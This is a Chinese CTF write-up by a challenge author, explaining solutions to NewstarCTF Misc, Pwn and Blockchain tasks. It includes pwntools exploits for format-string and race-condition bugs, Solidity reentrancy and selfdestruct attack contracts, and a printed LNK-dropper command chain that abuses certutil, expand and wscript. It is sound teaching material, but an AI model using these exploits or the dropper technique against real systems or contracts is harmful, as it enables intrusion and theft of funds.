本次NewstarCTF总共出了14道题,包括Misc、Pwn、Blockchain三个方向。这里只记录我出的题的write up。
# Misc
# week1
# 奇怪的音频
本题考点是SSTV。
根据题目描述搜索音频传输图像也可以搜索到相关工具,我是使用robot36,也有师傅用RX-SSTV做出来了。
# week2
# Coldwinds's Desktop
montage+gaps一把梭,网上这类题目还是比较多的,本题需要留意的是size参数。
montage+gaps
佩服手打的师傅
# 奇怪的波形
没接触过侧信道的话可能会懵逼,这题关键是分析出算法与波形的关系。
for (i = 0; i < 16; i++)
{
tmp = S * S;
S = tmp % N;
if (key[i] == 1)
{
tmp = S * m;
S = tmp % N;
}
else
{
tmp = S * S;
S = tmp % N;
}
}
return m, S;
可以看出程序跑了16轮加密,并且每轮都一定会先运行一次
tmp = S * S;
S = tmp % N;
然后再根据key是0还是1来再进行两次运算,当密钥为0时,执行的是
tmp = S * S;
S = tmp % N;
当key为1时,执行的是
tmp = S * m;
S = tmp % N;
接下来分析波形图片,以波峰间较宽的间隔为分割线,可以得到32根波形柱,刚好可以两两一组分为16组,符合程序16轮for循环。

一组中的两根波形柱分别对应
if外
tmp = S * S; S = tmp % N;和if内
tmp = S * m; S = tmp % N;或者else内
tmp = S * S; S = tmp % N;
根据上面分析可知,当密钥为0时,该组中两次运算代码相同,产生的波形也应该大致相同,而当密钥为 1时,组中两次运算代码不同,产生的波形也不同。
这里波形的差异主要是因为平方计算和乘法计算的实现方式不同,数据造成的差异反而并不明显。
因此,在16组中分别找出两个波形柱形状相似的组为0,反之为1。
最终得到密钥key为0010001001100111
# 奇怪的二维码
本题考点为aztec码。
可以binwalk出一张截图提示阿兹特克。补上aztec码定位块即可扫码出flag。
在线扫描条形码
# week4
# 奇怪的PDF
本题考点为pdf隐写+文件头修改。
文件后缀是PDF,但是打不开,010editor打开发现缺失文件头,补上PDF文件头后wbStego4.3open一把梭。
# 不奇怪的二维码
导入MC存档后,用地图获取俯视图。

# week5
# 奇怪的PDF 2
这题有点难度,但是简化了过程。
文件是快捷方式,双击会打开一个pdf文件。
首先分析快捷方式目标:
cmd.exe /c copy "strange2.pdf.lnk" %tmp%\\g5ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g5ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js
看起来很复杂,但分析后可以大致分为以下几步:
- 将该文件复制到tmp目录下。
- 搜索该文件中查找包含
TVNDRgAAAA的Base64编码数据并存入文件。 - 将找到的Base64编码数据解密。
- 通过expand命令解压解密数据(cab包)。
- 执行解压出来的js脚本。
再来看看js脚本执行了什么内容,通过everything找到tmp目录下的9sOXN6Ltf0afe7.js。
var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\flag&&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\flag\\flag.txt&\"%tmp%\\strange2.pdf\"",0);
可以看到js将解压出来的部分数据重命名为flag.txt,同时打开strange2.pdf。
用everything搜索flag.txt,最终在tmp目录下找到flag。
# Pwn
# week2
# 砍一刀
本题考点为格式化字符串任意地址写+爆破。
本意是模仿拼夕夕拉人砍现金的操作,结果有点过头了,对于新生赛来说,两层爆破确实有点过分。如果有师傅被折磨坏了,对不起😭。
先看格式化字符串部分,

在函数getdiamond中存在格式化字符串漏洞,且需要diamond=10时才能getshell。可以在.data段中找到diamond的地址0x404090,因此可以通过格式化字符串任意地址写将diamond改写为10来getshell。
需要经过两层爆破来进入漏洞点,自动爆破的关键在于准确地接收信息及发送\n,如果多发了\n会导致格式化字符串接收的是\n而非payload从而导致利用失败。
exp如下:
from pwn import*
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
filename="./pwn"
diamond=0x404090
elf=ELF(filename)
def exp1():
p.send("\n")
p.send("\n")
p.send("666\n")
p.send("\n")
for i in range(18):
p.send("\n")
p.recvuntil("有好友帮你砍一刀啦!")
while True:
p.send("\n")
p.recvuntil("有好友帮你砍一刀啦!")
ret=p.recv(1)
if(ret==b"="):
break
def exp2():
for i in range(4):
p.send("\n")
p.recvuntil("有好友帮你砍一刀啦!")
while True:
p.send("\n")
p.recvuntil("有好友帮你砍一刀啦!")
ret=p.recv(1)
if(ret==b"="):
payload1=fmtstr_payload(8,{diamond:10})
#payload2=b"aaaaaaaaaa%10$na"+p64(diamond)
#gdb.attach(p)
p.sendlineafter("==>",payload1)
p.interactive()
#p.close()
if __name__ == "__main__":
p=process(filename)
#p=remote('node4.buuoj.cn',27864)
exp1()
exp2()
# week3
# cat flag
本题考点为条件竞争。
关键漏洞点在于同一时刻有两个函数对调用了同一个变量。
cat函数会新建线程来调用cating函数,而在cating函数中,会读取name数组,然后通过sleep函数将该线程休眠1秒。
而在editname函数中,我们可以对name数组进行修改。
这就导致我们可以先随便输入一个已存在的文件名(通过ls函数获取,例如backdoor),来绕过cating函数中对flag的检测,然后趁它不注意 趁着线程休眠的时间,调用editname函数来把文件名改为flag,从而利用cat函数来cat flag。
exp如下:
from pwn import*
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
local=1
filename="./pwn"
if(local==1):
p=process(filename)
else:
p=remote("127.0.0.1",9999)
p.sendline("2")
p.sendline("backdoor")
p.sendline("3")
p.sendline("flag")
p.interactive()
# Blockchain
# week3
推荐Briyney师傅的wp,他写的好详细~
NewStarCTF Week3 Blockchain
# week4
# Demolition Trucks
本题考点为自毁函数。
想要发送isSolved事件,需要满足require(address(this).balance>0);,也就是该合约账户必须要有ETH,但是因为合约内部函数在定义时都没有加payable关键字,所以直接向合约转入ETH是必然失败的。
这时就要利用自毁函数selfdestruct(address),它可以销毁执行该函数的合约。这时就有一个问题,如果被销毁的合约中还有ETH,那么这些ETH怎么办呢?所以在执行自毁函数时,还要指定参数address,这样合约在自毁时,就能把自身剩余的ETH转入到目标地址中,并且这个转入过程是强制性的。
因此可以利用自毁函数向题目合约强制转入ETH来达成要求,获取flag。
exp如下:
contract send_money {
constructor() public payable{
}
function kill() public payable{
selfdestruct(address(0x));
}
}
# baby bank
本题的考点为重入攻击和整数下溢。
关于重入攻击,可以查看ctfwiki上对重入攻击的解释。
Re-Entrancy
也可以看看我之前关于重入攻击的文章。
重入攻击
本题要求为balance[msg.sender] >= 10000000000,我们先看看哪里可以获取balance。可以看到gift函数会给我们2个balance,并且gift函数只能执行一次,很明显不够题目要求的数量。再看看withdraw函数,其中使用了call函数来转账,而call函数可以被用来执行重入攻击。
构造fallback函数来进行重入攻击,重复调用withdraw函数。在第一次调用withdraw函数时,我们的balance从2变成了0,通过重入攻击再次调用withdraw函数,会使我们的balance从0变成-2,但是由于balance这个映射的_ValueType是uint(即正整数),使得balance发生了整数下溢,变成了115792089237316195423570985008687907853269984665640564039457584007913129639934远远大于题目所需的10000000000。这时就可以调用payforflag函数来发送isSolved事件了。
本题需要注意的地方在于,想让题目合约能够正确的执行call函数,就需要保证题目合约拥有足够的ETH来支付gas及提现的金额。所以需要事先往题目合约中转入一点ETH。
exp如下:
contract attacker {
address instance_address = 0x ;
Bank target = Bank(instance_address);
uint public flag = 0;
constructor() payable {}
function transferETH(address _to, uint256 amount) public payable{
_to.transfer(amount);
}
//攻击函数,可以将exploit1和exploit2两个函数合并来节约gas。
function exploit1() public payable{
target.gift();
}
function exploit2() public payable{
target.withdraw(2);
}
//执行payforflag函数
function sendflag() public payable{
target.payforflag();
}
//构造fallback函数,进行重入攻击,设置flag让重入攻击只重入一次。
function() external payable{
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}